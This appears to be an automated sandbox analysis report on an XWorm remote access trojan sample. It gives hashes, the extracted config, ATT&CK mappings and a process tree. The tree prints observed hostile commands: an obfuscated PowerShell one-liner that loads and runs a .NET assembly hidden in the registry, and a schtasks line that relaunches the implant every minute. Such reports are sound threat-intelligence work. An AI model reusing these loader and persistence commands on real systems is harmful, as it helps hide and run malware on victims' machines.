xworm | e13d8263dd6f8363dc3955e51f49bde3f65cc3e2696f8cd2385828bcbd5ee2d4

Analysis

max time kernel
150s
max time network
17s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
31/10/2024, 18:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DeadPayload.exe
Size

498KB
MD5

f670c1aa001d28b1d25ef4aad6acb4e6
SHA1

2c4ba73e114b9d43e2f45ffedc7cb0752c031488
SHA256

e13d8263dd6f8363dc3955e51f49bde3f65cc3e2696f8cd2385828bcbd5ee2d4
SHA512

ad326ffc975de4b0b22be1a12a6af6b1ebb26535155743939f07f57291ba66ffbdae6cd4b9b81126db13cb2eed2881e7e841b14277c77708b21ad8f3d9fe20c4
SSDEEP

12288:83DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sd6:2kGTy

Score

10^/10

xworm discovery evasion execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

QgVg78qW15uIsQ4H

Attributes

Install_directory
%Public%
install_file
ohh.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000015d75-6.dat	family_xworm
behavioral1/memory/2948-8-0x00000000011A0000-0x00000000011AE000-memory.dmp	family_xworm

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 588 created 432	588	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ohh.lnk	DeadMan.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ohh.lnk	DeadMan.exe

Executes dropped EXE 2 IoCs

pid	Process
2948	DeadMan.exe
536	DeadRoot.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows\CurrentVersion\Run\ohh = "C:\\Users\\Public\\ohh.exe"	DeadMan.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
588	powershell.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 588 set thread context of 2068	588	powershell.EXE	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadRoot.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 508d0751c62bdb01	powershell.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2612	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
588	powershell.EXE
588	powershell.EXE
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2948	DeadMan.exe
Token: SeDebugPrivilege	588	powershell.EXE
Token: SeDebugPrivilege	588	powershell.EXE
Token: SeDebugPrivilege	2068	dllhost.exe
Token: SeAuditPrivilege	860	svchost.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 2748 wrote to memory of 2948	2748	DeadPayload.exe	31
PID 2748 wrote to memory of 2948	2748	DeadPayload.exe	31
PID 2748 wrote to memory of 2948	2748	DeadPayload.exe	31
PID 2948 wrote to memory of 2612	2948	DeadMan.exe	32
PID 2948 wrote to memory of 2612	2948	DeadMan.exe	32
PID 2948 wrote to memory of 2612	2948	DeadMan.exe	32
PID 2748 wrote to memory of 536	2748	DeadPayload.exe	34
PID 2748 wrote to memory of 536	2748	DeadPayload.exe	34
PID 2748 wrote to memory of 536	2748	DeadPayload.exe	34
PID 2748 wrote to memory of 536	2748	DeadPayload.exe	34
PID 880 wrote to memory of 588	880	taskeng.exe	36
PID 880 wrote to memory of 588	880	taskeng.exe	36
PID 880 wrote to memory of 588	880	taskeng.exe	36
PID 588 wrote to memory of 2068	588	powershell.EXE	38
PID 588 wrote to memory of 2068	588	powershell.EXE	38
PID 588 wrote to memory of 2068	588	powershell.EXE	38
PID 588 wrote to memory of 2068	588	powershell.EXE	38
PID 588 wrote to memory of 2068	588	powershell.EXE	38
PID 588 wrote to memory of 2068	588	powershell.EXE	38
PID 588 wrote to memory of 2068	588	powershell.EXE	38
PID 588 wrote to memory of 2068	588	powershell.EXE	38
PID 588 wrote to memory of 2068	588	powershell.EXE	38
PID 2068 wrote to memory of 432	2068	dllhost.exe	5
PID 2068 wrote to memory of 476	2068	dllhost.exe	6
PID 2068 wrote to memory of 492	2068	dllhost.exe	7
PID 2068 wrote to memory of 500	2068	dllhost.exe	8
PID 2068 wrote to memory of 608	2068	dllhost.exe	9
PID 2068 wrote to memory of 680	2068	dllhost.exe	10
PID 2068 wrote to memory of 760	2068	dllhost.exe	11
PID 2068 wrote to memory of 824	2068	dllhost.exe	12
PID 2068 wrote to memory of 860	2068	dllhost.exe	13
PID 2068 wrote to memory of 972	2068	dllhost.exe	15
PID 2068 wrote to memory of 276	2068	dllhost.exe	16
PID 2068 wrote to memory of 296	2068	dllhost.exe	17
PID 2068 wrote to memory of 1076	2068	dllhost.exe	18
PID 2068 wrote to memory of 1120	2068	dllhost.exe	19
PID 2068 wrote to memory of 1180	2068	dllhost.exe	20
PID 2068 wrote to memory of 1208	2068	dllhost.exe	21
PID 2068 wrote to memory of 852	2068	dllhost.exe	23
PID 2068 wrote to memory of 1560	2068	dllhost.exe	24
PID 2068 wrote to memory of 1696	2068	dllhost.exe	25
PID 2068 wrote to memory of 2388	2068	dllhost.exe	26
PID 2068 wrote to memory of 1760	2068	dllhost.exe	27
PID 2068 wrote to memory of 2948	2068	dllhost.exe	31
PID 2068 wrote to memory of 880	2068	dllhost.exe	35

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{30fecb12-c3c9-4263-9c32-2d1be1a9da92}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2068

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:608
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1560
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1696
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:680
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:760
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:824
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1180
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:860
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {F0CA1F7E-8C21-48CE-BE7E-4B0B07A0BA1D} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('D'+[Char](101)+'ad'+[Char](115)+''+[Char](116)+'a'+'g'+'er')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:588
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:972
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:276
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:296
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1076
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1120
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:852
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:2388
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:1760

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1208
- C:\Users\Admin\AppData\Local\Temp\DeadPayload.exe
  "C:\Users\Admin\AppData\Local\Temp\DeadPayload.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Users\Public\DeadMan.exe
    "C:\Users\Public\DeadMan.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2948
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "ohh" /tr "C:\Users\Public\ohh.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2612
- - C:\Users\Public\DeadRoot.exe
    "C:\Users\Public\DeadRoot.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\DeadMan.exe

Filesize
34KB

MD5
49eb20c8743cfcfca7598a64c41ad1eb

SHA1
40518ccfe952de1a60dae903058a8e599630f856

SHA256
d2d386f7d8c892b812c8b67ba22e1a4d752cf96e1315abe1165c9ac24ef91120

SHA512
f87652ffcdbbff79ed72dac8381da668c913cd1a676f243117fb00aab26bccfa3b53b3b42f990386d880d10c9dce3faac53308491459c06295b958ad8502b08f

Download Submit
C:\Users\Public\DeadRoot.exe

Filesize
151KB

MD5
b8479a23c22cf6fc456e197939284069

SHA1
b2d98cc291f16192a46f363d007e012d45c63300

SHA256
18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

SHA512
786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

Download Submit
memory/432-46-0x000007FEBE3B0000-0x000007FEBE3C0000-memory.dmp

Filesize
64KB

Download
memory/432-37-0x0000000000C20000-0x0000000000C42000-memory.dmp

Filesize
136KB

Download
memory/432-35-0x0000000000C20000-0x0000000000C42000-memory.dmp

Filesize
136KB

Download
memory/432-38-0x0000000000C50000-0x0000000000C77000-memory.dmp

Filesize
156KB

Download
memory/432-39-0x0000000000C50000-0x0000000000C77000-memory.dmp

Filesize
156KB

Download
memory/432-45-0x0000000000C50000-0x0000000000C77000-memory.dmp

Filesize
156KB

Download
memory/432-47-0x0000000036F00000-0x0000000036F10000-memory.dmp

Filesize
64KB

Download
memory/476-59-0x0000000000480000-0x00000000004A7000-memory.dmp

Filesize
156KB

Download
memory/476-61-0x0000000036F00000-0x0000000036F10000-memory.dmp

Filesize
64KB

Download
memory/476-60-0x000007FEBE3B0000-0x000007FEBE3C0000-memory.dmp

Filesize
64KB

Download
memory/476-53-0x0000000000480000-0x00000000004A7000-memory.dmp

Filesize
156KB

Download
memory/492-73-0x0000000000240000-0x0000000000267000-memory.dmp

Filesize
156KB

Download
memory/492-75-0x0000000036F00000-0x0000000036F10000-memory.dmp

Filesize
64KB

Download
memory/492-74-0x000007FEBE3B0000-0x000007FEBE3C0000-memory.dmp

Filesize
64KB

Download
memory/492-67-0x0000000000240000-0x0000000000267000-memory.dmp

Filesize
156KB

Download
memory/500-81-0x00000000001E0000-0x0000000000207000-memory.dmp

Filesize
156KB

Download
memory/588-21-0x0000000001590000-0x00000000015B8000-memory.dmp

Filesize
160KB

Download
memory/588-19-0x000000001A0B0000-0x000000001A392000-memory.dmp

Filesize
2.9MB

Download
memory/588-20-0x0000000000980000-0x0000000000988000-memory.dmp

Filesize
32KB

Download
memory/588-23-0x0000000076DA0000-0x0000000076EBF000-memory.dmp

Filesize
1.1MB

Download
memory/588-22-0x0000000076EC0000-0x0000000077069000-memory.dmp

Filesize
1.7MB

Download
memory/2068-30-0x0000000076EC0000-0x0000000077069000-memory.dmp

Filesize
1.7MB

Download
memory/2068-25-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2068-27-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2068-26-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2068-29-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2068-31-0x0000000076DA0000-0x0000000076EBF000-memory.dmp

Filesize
1.1MB

Download
memory/2068-24-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2068-32-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2748-0-0x000007FEF5233000-0x000007FEF5234000-memory.dmp

Filesize
4KB

Download
memory/2748-1-0x0000000000D50000-0x0000000000DD2000-memory.dmp

Filesize
520KB

Download
memory/2948-14-0x000007FEF5230000-0x000007FEF5C1C000-memory.dmp

Filesize
9.9MB

Download
memory/2948-9-0x000007FEF5230000-0x000007FEF5C1C000-memory.dmp

Filesize
9.9MB

Download
memory/2948-8-0x00000000011A0000-0x00000000011AE000-memory.dmp

Filesize
56KB

Download
memory/2948-159-0x000007FEF5230000-0x000007FEF5C1C000-memory.dmp

Filesize
9.9MB

Download
memory/2948-192-0x000007FEF5230000-0x000007FEF5C1C000-memory.dmp

Filesize
9.9MB

Download